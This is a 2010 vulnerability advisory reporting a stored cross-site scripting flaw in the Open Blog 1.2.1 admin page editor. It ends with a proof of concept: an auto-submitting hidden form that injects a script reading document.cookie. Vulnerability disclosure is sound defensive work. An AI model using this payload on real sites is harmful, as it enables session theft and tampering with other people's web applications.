Vulnerability ID: HTB22498 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_open_blog_1.html Product: Open Blog Vendor: Toma&#197;&#190; Muraus ( http://www.open-blog.info/ ) Vulnerable Version: 1.2.1 and Probably Prior Versions Vendor Notification: 22 July 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/application/modules/admin/controllers/pages.php" script to properly sanitize user-supplied input in "content" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/pages/edit" method="post" > <input type="hidden" name="title" value="open blog page title" /> <input type="hidden" name="content" value='Some page content and <script>alert(document.cookie)</script>' /> <input type="hidden" name="status" value="active" /> <input type="hidden" name="id" value="1" /> <input type="submit" name="submit" id="sbmtit" value="Edit &rsaquo;&rsaquo;" /> </form> <script> document.getElementById('sbmtit').click(); </script>